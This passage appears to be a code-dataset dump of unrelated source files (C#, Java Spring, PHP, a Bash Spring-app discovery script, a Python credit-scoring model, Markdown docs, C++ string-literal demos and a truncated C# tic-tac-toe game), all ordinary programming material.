language
stringclasses
15 values
src_encoding
stringclasses
34 values
length_bytes
int64
6
7.85M
score
float64
1.5
5.69
int_score
int64
2
5
detected_licenses
listlengths
0
160
license_type
stringclasses
2 values
text
stringlengths
9
7.85M
C#
UTF-8
2,437
2.65625
3
[ "Apache-2.0" ]
permissive
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; namespace WindowsFormsApplication4 { public partial class Form1 : Form { CustomerDAO customerDAO = new CustomerDAO(); public Form1() { InitializeComponent(); Dept.Items.Add("CSE"); Dept.Items.Add("EEE"); Dept.Items.Add("ME"); Dept.Items.Add("IPE"); LoadCustomers(); } private void LoadCustomers() { customerInfo.DataSource= customerDAO.GetCustomers().Tables[0]; } private void label3_Click(object sender, EventArgs e) { } private void textBox3_TextChanged(object sender, EventArgs e) { } private void Dept_SelectedIndexChanged(object sender, EventArgs e) { } private void button1_Click(object sender, EventArgs e) { int id = Convert.ToInt32(ID.Text), age = Convert.ToInt32(Age .Text); string name = Name.Text, dept = Dept.Text; customerDAO.CreateCustomer(new CustomerDTO(id, name, age, dept)); LoadCustomers(); } private void customerInfo_SelectionChanged(object sender, EventArgs e) { if (customerInfo.SelectedRows.Count == 1) { int idx = customerInfo.SelectedRows[0].Index; ID.Text = customerInfo.Rows[idx].Cells[0].Value.ToString(); Name.Text = customerInfo.Rows[idx].Cells[1].Value.ToString(); Age.Text = customerInfo.Rows[idx].Cells[2].Value.ToString(); Dept.Text = customerInfo.Rows[idx].Cells[3].Value.ToString(); } } private void button3_Click(object sender, EventArgs e) { int id = Convert.ToInt32(ID.Text); customerDAO.DeleteCustomer(id); LoadCustomers(); } private void button2_Click(object sender, EventArgs e) { int id = Convert.ToInt32(ID.Text), age = Convert.ToInt32(Age.Text); string name = Name.Text, dept = Dept.Text; customerDAO.UpdateCustomer(id,name,age,dept); LoadCustomers(); } } }
Java
UTF-8
7,700
2.265625
2
[]
no_license
package com.revature.studyforce.notification.controller; import com.revature.studyforce.notification.dto.FlashcardSubscriptionDTO; import com.revature.studyforce.notification.dto.StacktraceSubscriptionDTO; import com.revature.studyforce.notification.dto.SubscriptionDTO; import com.revature.studyforce.notification.model.FlashcardSubscription; import com.revature.studyforce.notification.service.FlashcardSubscriptionService; import com.revature.studyforce.notification.service.StacktraceSubscriptionService; import com.revature.studyforce.notification.service.SubscriptionService; import com.revature.studyforce.notification.model.StacktraceSubscription; import com.revature.studyforce.notification.model.Subscription; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.*; /** * Subscription Controller for * Subscriptions {@link SubscriptionService} * FlashcardSubscriptions {@link FlashcardSubscriptionService} * StacktraceSubscriptions {@link StacktraceSubscriptionService} * @author Brandon Pinkerton */ @RestController @RequestMapping("/subscriptions") public class SubscriptionController { private final SubscriptionService subscriptionService; private final FlashcardSubscriptionService flashcardSubscriptionService; private final StacktraceSubscriptionService stacktraceSubscriptionService; @Autowired public SubscriptionController(SubscriptionService subscriptionService, FlashcardSubscriptionService flashcardSubscriptionService, StacktraceSubscriptionService stacktraceSubscriptionService){ this.subscriptionService = subscriptionService; this.flashcardSubscriptionService = flashcardSubscriptionService; this.stacktraceSubscriptionService = stacktraceSubscriptionService; } /** * Processes POST request on '/subscriptions' to create a user subscription {@link SubscriptionService#createSubscription(SubscriptionDTO)}} * @param subscription The subscriptionDTO information * @return The created subscription */ @PostMapping @CrossOrigin(origins = {"*"}) public Subscription createSubscription(@RequestBody SubscriptionDTO subscription){ return subscriptionService.createSubscription(subscription); } /** * GET mapping for '/getSubscriptionByUserId in {@link SubscriptionService#getSubscriptionByUserId(Integer)} * @param id The user id of the user to find the subscription for the user * @return The users subscription */ @GetMapping("/{user-id}") public Subscription getUserSubscription(@PathVariable("user-id") String id){ return subscriptionService.getSubscriptionByUserId(Integer.parseInt(id)); } /** * DELETE mapping for '/deleteSubscriptionByUserId in {@link SubscriptionService#deleteSubscriptionByUserId(Integer)} * @param id The user id of the user to delete the subscription for the user * @return The users subscription that was deleted */ @DeleteMapping("/{user-id}") public Subscription deleteUserSubscription(@PathVariable("user-id") String id){ return subscriptionService.deleteSubscriptionByUserId(Integer.parseInt(id)); } /** * Processes POST request on '/subscriptions/flashcards' to create a flashcard subscription {@link FlashcardSubscriptionService#createFlashcardSubscription(Integer, Integer)} * @param subscriptionRequest A data transfer object containing the flashcard subscription information * @return The created subscription */ @PostMapping("/flashcards") @CrossOrigin(origins = {"*"}) public FlashcardSubscription createFlashcardSubscription(@RequestBody FlashcardSubscriptionDTO subscriptionRequest){ return flashcardSubscriptionService.createFlashcardSubscription( subscriptionRequest.getFlashcardId(), subscriptionRequest.getUserId()); } /** * GET mapping for '/getFlashcardSubscriptionsByFlashcardAndUserId in {@link FlashcardSubscriptionService#getFlashcardSubscriptionByFlashcardAndUserId(Integer, Integer)} * @param flashcardId The flashcard id of the flashcard to find the flashcard * @param userId The user id of the user to find the subscription for the user * @return The users flashcard subscription */ @GetMapping("/flashcards") public FlashcardSubscription getFlashcardSubscription(@RequestParam("flashcard-id") String flashcardId, @RequestParam("user-id") String userId){ return flashcardSubscriptionService.getFlashcardSubscriptionByFlashcardAndUserId( Integer.parseInt(flashcardId), Integer.parseInt(userId) ); } /** * DELETE mapping for '/deleteFlashcardSubscription in {@link FlashcardSubscriptionService#deleteFlashcardSubscription(Integer, Integer)} * @param subscriptionRequest The DTO with the flashcardId and the userId * @return The users flashcard subscription that was deleted */ @DeleteMapping("/flashcards") public FlashcardSubscription deleteFlashcardSubscription(@RequestBody FlashcardSubscriptionDTO subscriptionRequest){ return flashcardSubscriptionService.deleteFlashcardSubscription( subscriptionRequest.getFlashcardId(), subscriptionRequest.getUserId() ); } /** * Processes POST request on '/subscriptions/stacktraces' to create a stacktrace subscription {@link StacktraceSubscriptionService#createStacktraceSubscription(Integer, Integer)} * @param subscriptionRequest A data transfer object containing the stacktrace subscription information * @return The created subscription */ @PostMapping("/stacktraces") @CrossOrigin(origins = {"*"}) public StacktraceSubscription createStacktraceSubscription(@RequestBody StacktraceSubscriptionDTO subscriptionRequest){ return stacktraceSubscriptionService.createStacktraceSubscription( subscriptionRequest.getStacktraceId(), subscriptionRequest.getUserId()); } /** * GET mapping for '/getStacktraceSubscriptionsByStacktraceAndUserId in {@link StacktraceSubscriptionService#getStacktraceSubscriptionByStacktraceAndUserId(Integer, Integer)} * @param stacktraceId The stacktrace id of the stacktrace to find the stacktrace * @param userId The user id of the user to find the subscription for the user * @return The users stacktrace subscription */ @GetMapping("/stacktraces") public StacktraceSubscription getStacktraceSubscription(@RequestParam("stacktrace-id") String stacktraceId, @RequestParam("user-id") String userId){ return stacktraceSubscriptionService.getStacktraceSubscriptionByStacktraceAndUserId( Integer.parseInt(stacktraceId), Integer.parseInt(userId) ); } /** * DELETE mapping for '/deleteStacktraceSubscription in {@link StacktraceSubscriptionService#deleteStacktraceSubscription(Integer, Integer)} * @param subscriptionRequest The DTO with the stacktraceId and the userId * @return The users stacktrace subscription that was deleted */ @DeleteMapping("/stacktraces") public StacktraceSubscription deleteStacktraceSubscription(@RequestBody StacktraceSubscriptionDTO subscriptionRequest){ return stacktraceSubscriptionService.deleteStacktraceSubscription( subscriptionRequest.getStacktraceId(), subscriptionRequest.getUserId() ); } }
PHP
UTF-8
513
2.515625
3
[]
no_license
<?php function getServices($from){ if($from == 'client'){ include_once('Models/Extra.php'); } else if ($from == 'admin'){ include_once('../../../Models/Extra.php'); } $service = new Extra("", "", "", "", $from,"show"); if($service->dbConnect()){ if($result = $service->getAllExtras("service")){ return $result; } else{ echo 'Echec'; } } else{ echo 'Connexion impossible'; } } ?>
Shell
UTF-8
2,116
3.65625
4
[]
no_license
#!/bin/bash # liyunwei@unisound.com # 2018-04-08 # discovery spring web set -C set -e set -o pipefail set -o errtrace base_dir="/data /opt" check_variable (){ local varable_name varable_name=$1 [[ `eval "echo tmp\\$$varable_name"` == "tmp" ]] && return 1 || return 0 } check_variable_all (){ local variable for variable in $* do if ! check_variable $variable then echo variable: \'$variable\' is not set >&2 return 1 fi done } apps_list(){ find $base_dir -maxdepth 3 -mindepth 2 -name '*.properties'|xargs egrep '^[^#].*context-path' | awk -F[:=] '{print $NF}' find $base_dir -maxdepth 3 -mindepth 2 -name '*.yml'|xargs egrep '^[^#].*context-path' | awk -F: '{print $NF}' } port_list(){ port=`netstat -ntpl|grep java|awk '{print $4}'|awk -F: '{print $NF}'` echo $port } ping_jsp(){ local app_dir=$1 check_variable_all app_dir ping_path=$app_dir/ping.jsp test -f $ping_path || echo -n "pong" > $ping_path } check_app(){ local port=$1 local app=$2 check_variable_all port app if [ "$app" == "ROOT" ] then curl -s -m 1 http://127.0.0.1:$port/actuator/health 2>/dev/null|grep -q UP else curl -s -m 1 http://127.0.0.1:$port/$app/actuator/health 2>/dev/null|grep -q UP fi return $? } discovery(){ check_variable_all base_dir local apps app ports port echo '{"data":[' ports=`port_list` apps=`apps_list` apps=${apps:-ROOT} for port in `echo $ports` do for app in `echo $apps` do #if true if check_app $port $app then echo -e "\t{\"{#SPRING_PORT}\":\"$port\",\"{#SPRING_APP}\":\"$app\"}," fi done done echo ']}' } format(){ data=$1 check_variable_all data local line_num fix_num line_num=`echo "$data" |wc -l` let fix_num=$line_num-1 echo "$data" |awk '{if(NR ~ '$fix_num'){txt=$1;sub(/,$/,"",txt);print "\t" txt}else{print $0}}' } #discovery format "`discovery`"
Python
UTF-8
3,746
2.890625
3
[]
no_license
# -*- coding: utf-8 -*- """ Created on Sat Apr 11 14:38:57 2020 @author: NK """ import pandas as pd import numpy as np import statsmodels.api as sm import matplotlib.pyplot as plt credit_df = pd.read_csv('German Credit Data.csv') credit_df.head() credit_df.info() features = list(credit_df.columns) features.remove('status') credit_df[features][0:5] #Encode the categorical features encoded_credit_df = pd.get_dummies(credit_df[features], drop_first=True) list(encoded_credit_df.columns) credit_df['credit_history'].unique() encoded_credit_df[['credit_history_A31', 'credit_history_A32', 'credit_history_A33', 'credit_history_A34']].head() #Building the model y = credit_df.status X = sm.add_constant(encoded_credit_df) from sklearn.model_selection import train_test_split X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=100) logit_model = sm.Logit(y_train, X_train).fit() print(logit_model.summary2()) #Get features which are significant at significance level of 0.05 def getSignificantVars(model): p_vals_df = pd.DataFrame(model.pvalues) p_vals_df['vars'] = p_vals_df.index p_vals_df.columns = ['pvals', 'vars'] return list(p_vals_df[p_vals_df.pvals <= 0.05]['vars']) significant_columns = getSignificantVars(logit_model) final_logit_model = sm.Logit(y_train, sm.add_constant(X_train[significant_columns])).fit() final_logit_model.summary2() #Predict on test data y_pred = final_logit_model.predict(sm.add_constant(X_test[significant_columns])) y_pred_df = pd.DataFrame({'actual':y_test, 'pred_prob':y_pred}) y_pred_df['predicted'] = y_pred_df.pred_prob.map(lambda x: 1 if x>0.5 else 0) y_pred_df.head(12) y_pred_df.sample(12,random_state=42) #Create confusion matrix from sklearn import metrics import seaborn as sn def draw_conf_matrix(actual, predicted): conf_mat = metrics.confusion_matrix(actual, predicted, labels=[1,0]) sn.heatmap(conf_mat, annot=True, fmt=".2f", xticklabels=["Bad Credit", "Good Credit"], yticklabels=["Bad Credit", "Good Credit"]) plt.ylabel('True label') plt.xlabel('Predicted label') plt.figure(figsize=(26,15)) plt.show() draw_conf_matrix(y_pred_df.actual, y_pred_df.predicted) print(metrics.classification_report(y_pred_df.actual, y_pred_df.predicted)) def draw_roc(actual,probs): fpr,tpr,threshold = metrics.roc_curve(actual, probs, drop_intermediate=False) auc_score = metrics.roc_auc_score(actual, probs) plt.figure(figsize=(8,6)) plt.plot(fpr, tpr, label = "ROC Curve (area=%0.2f)" % auc_score) plt.plot([0,1], [0,1], 'k--') plt.xlim([0.0, 1.0]) plt.ylim([0.0, 1.05]) plt.xlabel('FPR') plt.ylabel('TPR') plt.legend(loc="lower right") plt.show() return fpr,tpr,threshold fpr,tpr,threshold = draw_roc(y_pred_df['actual'], y_pred_df['pred_prob']) #Improving the model by choosing the optimal classification cut-off #Youden's index: Need to choose p for which tpr+tnr-1 is maximized, i.e. tpr - fpr is maximized tpr_fpr_df = pd.DataFrame({'tpr':tpr, 'fpr':fpr, 'thresholds':threshold}) tpr_fpr_df['diff'] = tpr_fpr_df['tpr'] - tpr_fpr_df['fpr'] tpr_fpr_df.sort_values('diff', ascending=False)[0:5] #Above gives optimal thresold of 0.265 y_pred_df['predicted_new'] = y_pred_df['pred_prob'].map(lambda x: 1 if x>0.265 else 0) draw_conf_matrix(y_pred_df.actual, y_pred_df.predicted_new) print(metrics.classification_report(y_pred_df.actual, y_pred_df.predicted_new)) #print(metrics.classification_report(y_pred_df.actual, y_pred_df.predicted)) metrics.roc_auc_score(y_pred_df.actual, y_pred_df.predicted_new)
Markdown
UTF-8
1,015
2.640625
3
[ "MIT" ]
permissive
--- title: Simultaneous Scheduler description: API Documentation for the Simultaneous Scheduler class keywords: agent-based modeling, bptk, bptk-py, python, business prototyping --- # Simultaneous Scheduler ## SimultaneousScheduler Constructor **SimultaneousScheduler()** Implementation of a scheduler. Runs steps synchronously ## SimultaneousScheduler.run **run(model, progress_widget=None, collect_data=True)** Run method * **Parameters** * **model** – Model instance. Instance of the model this is a scheduler for. * **progress_widget** – FloatBarProgress instance. Used to display progress of the scheduler. ## SimultaneousScheduler.run_step **run_step(model, sim_round, step, progress_widget=None, collect_data=True)** Run one step. * **Parameters** * **sim_round** – simulator round. * **dt** – step of round. * **model** – Model instance. * **progress_widget** – FloatBarProgress instance. Ipywidgets element used to track progress.
C++
UTF-8
117
2.53125
3
[]
no_license
/* 2016.10.04 22:44 * P_187 */ unsigned int Fact(unsigned x) { if (x <= 1) return 1; return (x * Fact(x-1)); }
Java
UTF-8
9,397
1.773438
2
[ "BSD-3-Clause" ]
permissive
package net.selenate.client.user; import akka.actor.ActorRef; import akka.pattern.Patterns; import akka.util.Timeout; import net.selenate.client.interfaces.IElement; import net.selenate.client.interfaces.IOption; import net.selenate.common.comms.SeCookie; import net.selenate.common.comms.SeElement; import net.selenate.common.comms.SeElementSelectMethod; import net.selenate.common.comms.SeElementSelector; import net.selenate.common.comms.SeFrame; import net.selenate.common.comms.SeOption; import net.selenate.common.comms.SeOptionSelectMethod; import net.selenate.common.comms.SePage; import net.selenate.common.comms.SeSelect; import net.selenate.common.comms.SeWindow; import net.selenate.common.comms.res.SeResCapture; import net.selenate.common.user.BrowserPage; import net.selenate.common.user.Capture; import net.selenate.common.user.CaptureCookie; import net.selenate.common.user.CaptureFrame; import net.selenate.common.user.CaptureWindow; import net.selenate.common.user.ElementSelectMethod; import net.selenate.common.user.ElementSelector; import net.selenate.common.user.Location; import net.selenate.common.user.OptionSelectMethod; import net.selenate.common.user.Position; import scala.concurrent.Await; import scala.concurrent.Future; import java.io.IOException; import java.util.ArrayList; import java.util.HashSet; import java.util.List; import java.util.Set; import java.util.concurrent.TimeUnit; public abstract class ActorBase { protected Timeout timeout = new Timeout(30, TimeUnit.SECONDS); protected final ActorRef session; public ActorBase(final ActorRef session) { if (session == null) { throw new IllegalArgumentException("Session cannot be null!"); } this.session = session; } protected Object block(final Object req) throws IOException { try { final Future<Object> future = Patterns.ask(session, req, timeout); final Object result = Await.result(future, new Timeout(32, TimeUnit.SECONDS).duration()); return result; } catch (final Exception e) { throw new IOException(String.format("An error occured while sending the message to remote actor!\nMessage: %s", req.toString()), e); } } protected <T> T typedBlock( final Object req, final Class<T> clazz) throws IOException { final Object obj = block(req); try { final T res = clazz.cast(obj); return res; } catch (final ClassCastException e0) { try { final Exception ex = Exception.class.cast(obj); throw new IOException("Received an exception!", ex); } catch (final ClassCastException e1) { throw new IOException(String.format("Received an unexpected response! Found: %s; required: %s.", obj.getClass().toString(), clazz.toString()), e0); } } } protected SeElementSelectMethod userToReqElementSelectMethod(final ElementSelectMethod userMethod) { final SeElementSelectMethod reqMethod; switch (userMethod) { case CLASS_NAME: reqMethod = SeElementSelectMethod.CLASS_NAME; break; case CSS_SELECTOR: reqMethod = SeElementSelectMethod.CSS_SELECTOR; break; case ID: reqMethod = SeElementSelectMethod.ID; break; case LINK_TEXT: reqMethod = SeElementSelectMethod.LINK_TEXT; break; case NAME: reqMethod = SeElementSelectMethod.NAME; break; case PARTIAL_LINK_TEXT: reqMethod = SeElementSelectMethod.PARTIAL_LINK_TEXT; break; case TAG_NAME: reqMethod = SeElementSelectMethod.TAG_NAME; break; case UUID: reqMethod = SeElementSelectMethod.UUID; break; case XPATH: reqMethod = SeElementSelectMethod.XPATH; break; default: throw new RuntimeException("Unexpected error!"); } return reqMethod; } protected SeOptionSelectMethod userToReqOptionSelectMethod(final OptionSelectMethod userMethod) { final SeOptionSelectMethod reqMethod; switch (userMethod) { case INDEX: reqMethod = SeOptionSelectMethod.INDEX; break; case VALUE: reqMethod = SeOptionSelectMethod.VALUE; break; case VISIBLE_TEXT: reqMethod = SeOptionSelectMethod.VISIBLE_TEXT; break; default: throw new RuntimeException("Unexpected error!"); } return reqMethod; } protected Capture resToUserCapture(final SeResCapture resCapture) { return new Capture( resCapture.name, resCapture.time, resToUserCookieList(resCapture.cookieList), resToUserWindowList(resCapture.windowList)); } protected CaptureCookie resToUserCookie(final SeCookie resCookie) { return new CaptureCookie( resCookie.domain, resCookie.expiry, resCookie.name, resCookie.path, resCookie.value, resCookie.isSecure); } protected Set<CaptureCookie> resToUserCookieList(final Set<SeCookie> resCookieList) { final Set<CaptureCookie> userCookieList = new HashSet<CaptureCookie>(); for (final SeCookie resCookie : resCookieList) { final CaptureCookie cookie = resToUserCookie(resCookie); userCookieList.add(cookie); } return userCookieList; } protected CaptureWindow resToUserWindow(final SeWindow resWindow) { return new CaptureWindow( resWindow.title, resWindow.url, resWindow.handle, new Position(resWindow.posX, resWindow.posY), new Location(resWindow.width, resWindow.height), resWindow.html, resWindow.screenshot, resToUserFrameList(resWindow.frameList)); } protected List<CaptureWindow> resToUserWindowList(final List<SeWindow> resWindowList) { final List<CaptureWindow> userWindowList = new ArrayList<CaptureWindow>(); for (final SeWindow resWindow : resWindowList) { final CaptureWindow window = resToUserWindow(resWindow); userWindowList.add(window); } return userWindowList; } protected CaptureFrame resToUserFrame(final SeFrame resFrame) { return new CaptureFrame( resFrame.index, resFrame.name, resFrame.src, resFrame.html, resToUserFrameList(resFrame.frameList)); } protected List<CaptureFrame> resToUserFrameList(final List<SeFrame> resFrameList) { final List<CaptureFrame> userFrameList = new ArrayList<CaptureFrame>(); for (final SeFrame resFrame : resFrameList) { final CaptureFrame frame = resToUserFrame(resFrame); userFrameList.add(frame); } return userFrameList; } protected ActorElement resToUserElement(final SeElement resElement) { return new ActorElement( session, resElement.uuid, new Position(resElement.posX, resElement.posY), new Location(resElement.width, resElement.height), resElement.name, resElement.text, resElement.isDisplayed, resElement.isEnabled, resElement.isSelected, resElement.windowHandle, resElement.framePath, resElement.attributeList, new ArrayList<IElement>()); } protected List<IElement> resToUserElementList(final List<SeElement> resElementList) { final List<IElement> userElementList = new ArrayList<IElement>(); for (final SeElement resElement : resElementList) { final ActorElement actorElement = resToUserElement(resElement); userElementList.add(actorElement); } return userElementList; } protected SeElementSelector userToReqSelector(final ElementSelector userSelector) { return new SeElementSelector(userToReqElementSelectMethod(userSelector.method), userSelector.query); } protected List<SeElementSelector> userToReqSelectorList(final List<ElementSelector> userSelectorList) { final List<SeElementSelector> reqSelectorList = new ArrayList<SeElementSelector>(); for (final ElementSelector userSelector : userSelectorList) { final SeElementSelector reqSelector = userToReqSelector(userSelector); reqSelectorList.add(reqSelector); } return reqSelectorList; } protected List<SePage> userToReqPageList(final List<BrowserPage> userPageList) { final List<SePage> reqPageList = new ArrayList<SePage>(); for (final BrowserPage userPage : userPageList) { final SePage reqPage = new SePage(userPage.name, userToReqSelectorList(userPage.selectorList)); reqPageList.add(reqPage); } return reqPageList; } protected ActorSelect resToUserSelect(final SeSelect resSelect) { return new ActorSelect( session, resToUserElement(resSelect.element), resSelect.optionCount, resSelect.selectedIndex, resToUserOption(resSelect.selectedOption), resToUserOptionList(resSelect.options)); } protected ActorOption resToUserOption(final SeOption resOption) { if (resOption == null) { return null; } else { return new ActorOption( session, resToUserElement(resOption.element)); } } protected List<IOption> resToUserOptionList(final List<SeOption> resOptionList) { final List<IOption> userOptionList = new ArrayList<IOption>(); for (final SeOption resOption : resOptionList) { final ActorOption actorOption = resToUserOption(resOption); userOptionList.add(actorOption); } return userOptionList; } }
C++
UHC
7,320
3.234375
3
[]
no_license
#include <iostream> #include <string> #include <locale.h> #include <codecvt> #include <windows.h> #include <winnls.h> #include <vector> #include <sstream> using namespace std::string_literals; // enables s-suffix for std::string literals // ƼƮ MBCS - Multi Byte Character Set: 1 Byte ׿ ڴ 2 Bytes ó // Ex) MessageBox( NULL, "a", "b", MB_OK ); // ڵ WBCS - Wide Byte Character Set: ڸ 2 Bytes ó (GCC 4Byte ó) Why? Windows UCS-16 Unicode äϰ ִ. // Ex) MessageBox(NULL, L"a", L"b", MB_OK); // Ordinary character literals of type char, for example 'a' // UTF - 8 character literals of type char(char8_t in C++20), for example u8'a' // Wide - character literals of type wchar_t, for example L'a' // UTF - 16 character literals of type char16_t, for example u'a' // UTF - 32 character literals of type char32_t, for example U'a' using namespace std; vector<string> split(string str, char Delimiter) { istringstream iss(str); // istringstream str ´. string buffer; // ڸ ڿ vector<string> result; // istringstream istream ӹǷ getline ִ. while (getline(iss, buffer, Delimiter)) { result.push_back(buffer); // ڿ vector } return result; } int main() { setlocale(LC_ALL, ""); //std::wcout.imbue(std::locale("korean")); // Character literals auto c0 = 'A'; // char auto c1 = u8'A'; // char auto c2 = L'A'; // wchar_t auto c3 = u'A'; // char16_t auto c4 = U'A'; // char32_t std::cout << c0 << '\t' << sizeof(c0) << '\t' << typeid(c0).name() << std::endl; std::cout << (const char)c1 << '\t' << sizeof(c1) << '\t' << typeid(c1).name() << std::endl; std::wcout << c2 << '\t' << sizeof(c2) << '\t' << typeid(c2).name() << std::endl; std::cout << (const char)c3 << '\t' << sizeof(c3) << '\t' << typeid(c3).name() << std::endl; std::cout << (const char)c4 << '\t' << sizeof(c4) << '\t' << typeid(c4).name() << std::endl; // Multicharacter literals auto m0 = 'abcd'; // int, value 0x61626364 std::cout << m0 << '\t' << sizeof(m0) << '\t' << typeid(m0).name() << std::endl; // String literals auto s0 = ""; // const char* auto s1 = u8""; // const char* before C++20, encoded as UTF-8, // const char8_t* in C++20 auto s2 = L""s; // const wchar_t* auto s3 = u"hello"; // const char16_t*, encoded as UTF-16 auto s4 = U"hello"; // const char32_t*, encoded as UTF-32 std::cout << s0 << '\t' << sizeof(s0) << '\t' << typeid(s0).name() << std::endl; std::cout << s1 << '\t' << sizeof(s1) << '\t' << typeid(s1).name() << std::endl; std::wcout << s2 << '\t' << sizeof(s2) << '\t' << typeid(s2).name() << std::endl; std::cout << s3 << '\t' << sizeof(s3) << '\t' << typeid(s3).name() << std::endl; std::cout << s4 << '\t' << sizeof(s4) << '\t' << typeid(s4).name() << std::endl; // // // Raw string literals containing unescaped \ and " // auto R0 = R"("Hello \ world")"; // const char* // auto R1 = u8R"("Hello \ world")"; // const char* before C++20, encoded as UTF-8, // // const char8_t* in C++20 // auto R2 = LR"("Hello \ world")"; // const wchar_t* // auto R3 = uR"("Hello \ world")"; // const char16_t*, encoded as UTF-16 // auto R4 = UR"("Hello \ world")"; // const char32_t*, encoded as UTF-32 // // std::cout << R0 << '\t' << sizeof(R0) << '\t' << typeid(R0).name() << std::endl; // std::cout << R1 << '\t' << sizeof(R1) << '\t' << typeid(R1).name() << std::endl; // std::cout << R2 << '\t' << sizeof(R2) << '\t' << typeid(R2).name() << std::endl; // std::cout << R3 << '\t' << sizeof(R3) << '\t' << typeid(R3).name() << std::endl; // std::cout << R4 << '\t' << sizeof(R4) << '\t' << typeid(R4).name() << std::endl; // // Combining string literals with standard s-suffix auto S0 = ""s; // std::string auto S1 = u8""s; // std::string before C++20, std::u8string in C++20 auto S2 = L""s; // std::wstring auto S3 = u"hello"s; // std::u16string auto S4 = U"hello"s; // std::u32string size_t utf8_size = 0; int required_cch = ::MultiByteToWideChar( CP_UTF8, MB_ERR_INVALID_CHARS, S1.c_str(), S1.length(), 0, 0); std::wstring wunicode8; wunicode8.resize(required_cch); ::MultiByteToWideChar( CP_UTF8, MB_ERR_INVALID_CHARS, S1.c_str(), (int)S1.length(), &wunicode8[0], (int)wunicode8.length() ); // // std::wstring_convert<std::codecvt<char16_t, char, mbstate_t>, char16_t> converter16; // std::wstring_convert<std::codecvt<char32_t, char, mbstate_t>, char32_t> converter32; // // // std::string u8conv = std::wstring_convert<std::codecvt_utf8_utf16<char16_t>, char16_t>{}.to_bytes(S3); // //std::locale::global(std::locale("kor")); //"UTF-8") ); //std::wcout.imbue(std::locale("korean")); //std::wcout.imbue(std::locale("")); std::cout << std::locale().name() << std::endl; std::cout << S0 << '\t' << sizeof(S0) << '\t' << typeid(S0).name() << std::endl; std::cout << S1 << '\t' << sizeof(S1) << '\t' << typeid(S1).name() << std::endl; std::wcout << S2 << '\t' << sizeof(S2) << '\t' << typeid(S2).name() << std::endl; std::wcout << wunicode8 << '\t' << sizeof(wunicode8) << '\t' << typeid(wunicode8).name() << std::endl; //std::wcout << S4 << '\t' << sizeof(S4) << '\t' << typeid(S4).name() << std::endl; // std::cout << converter16.to_bytes(S3) << '\t' << sizeof(S3) << '\t' << typeid(S3).name() << std::endl; // std::cout << converter32.to_bytes(S4) << '\t' << sizeof(S4) << '\t' << typeid(S4).name() << std::endl; // // // Combining raw string literals with standard s-suffix // auto S5 = R"("Hello \ world")"s; // std::string from a raw const char* // auto S6 = u8R"("Hello \ world")"s; // std::string from a raw const char* before C++20, encoded as UTF-8, // // std::u8string in C++20 // auto S7 = LR"("Hello \ world")"s; // std::wstring from a raw const wchar_t* // auto S8 = uR"("Hello \ world")"s; // std::u16string from a raw const char16_t*, encoded as UTF-16 // auto S9 = UR"("Hello \ world")"s; // std::u32string from a raw const char32_t*, encoded as UTF-32 // // std::cout << S5 << '\t' << sizeof(S5) << '\t' << typeid(S5).name() << std::endl; // std::cout << S6 << '\t' << sizeof(S6) << '\t' << typeid(S6).name() << std::endl; //std::wcout << S7 << '\t' << sizeof(S7) << '\t' << typeid(S7).name() << std::endl; // std::cout << converter16.to_bytes(S8) << '\t' << sizeof(S8) << '\t' << typeid(S8).name() << std::endl; // std::cout << converter32.to_bytes(S9) << '\t' << sizeof(S9) << '\t' << typeid(S9).name() << std::endl; string str = "AAA,BBB,CCC,DDD,EEE,FFF,GGG"; vector<string> result = split(str, ','); for (int i = 0; i < result.size(); i++) { cout << result[i] << "\n"; } auto aa = getchar(); std::cout << aa << '\t' << sizeof(aa) << '\t' << typeid(aa).name() << std::endl; }
C#
UTF-8
678
3.3125
3
[]
no_license
using System; using System.Collections.Generic; using System.Text; namespace ClassLibrary { public class Customer { public int ID { get; } public string Name { get; } public decimal Balance { get; private set; } public Customer(int id, string name) { ID = id; Name = name; } public override bool Equals(object obj) { if (obj is Customer) { return this.ID == ((Customer)obj).ID; } return false; } public override int GetHashCode() { return ID.GetHashCode(); } } }
Python
UTF-8
1,549
2.828125
3
[ "MIT" ]
permissive
""" virtstrap.baseplugin -------------------- The base plugin for virtstrap. """ from functools import wraps from virtstrap.log import logger class Hook(object): name = None command = None def __init__(self): self.options = None self.logger = logger def execute(self, event, options, **kwargs): """Wraps the user defined run method in the proper environment""" self.options = options self.logger.debug('Running "%s" hook for "%s" command' % (self.name, self.command)) return_code = 0 try: self.run(event, options, **kwargs) except SystemExit, e: return_code = e.code except: self.logger.exception('An error occured executing hook "%s"' % self.__class__.__name__) return_code = 2 finally: self.options = None return return_code def run(self, event, options, **kwargs): raise NotImplementedError('Please implement a run method ' 'for this hook') class GeneratedHook(Hook): def __init__(self, name, command, events, runner): super(GeneratedHook, self).__init__() self.name = name self.command = command self.events = events self._runner = runner def run(self, event, options, **kwargs): self._runner(event, options, **kwargs) def create(command, events): def decorator(f): return GeneratedHook(f.__name__, command, events, f) return decorator
C#
UTF-8
13,982
3.609375
4
[]
no_license
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Tic_Tac_Toe { public enum GameState {Title, Playing, PlayerOneTurn, PlayerTwoTurn, GameOver}; class Program { public void InitializeGame() { // greet players and go over rules Console.WriteLine("Welcome to Noony's Tic-tac-toe. Player 1 = 'X', Player 2 = 'O'.\nThree colinear marks of the same symbol wins!\n\n"); } public void DisplayBoard(string[,] array) { Console.WriteLine($" {0} | {1} | {2} ", array[0, 0], array[0, 1], array[0, 2]); Console.WriteLine($" _____________________ \n"); Console.WriteLine($" {3} | {4} | {5} ", array[1, 0], array[1, 1], array[1, 2]); Console.WriteLine($" _____________________ \n"); Console.WriteLine($" {6} | {7} | {8} ", array[2, 0], array[2, 1], array[2, 2]); Console.WriteLine($" | | "); } // Winning conditions: 123, 345, 678, 036, 147 258, 048, 246 public bool WinCheck(string[,] array) { if (array[0, 0] == array[0, 1] && array[0, 1] == array[0, 2] && array[0, 0] == "X") //horizontal lines { Console.WriteLine("Player 1 Wins!"); return false; } if (array[1, 0] == array[1, 1] && array[1, 1] == array[1, 2] && array[1, 0] == "X") { Console.WriteLine("Player 1 Wins!"); return false; } if (array[2, 0] == array[2, 1] && array[2, 1] == array[2, 2] && array[2, 0] == "X") { Console.WriteLine("Player 1 Wins!"); return false; } if (array[0, 0] == array[1, 0] && array[1, 0] == array[2, 0] && array[0, 0] == "X") //vertical lines { Console.WriteLine("Player 1 Wins!"); return false; } if (array[0, 1] == array[1, 1] && array[1, 1] == array[2, 1] && array[0, 1] == "X") { 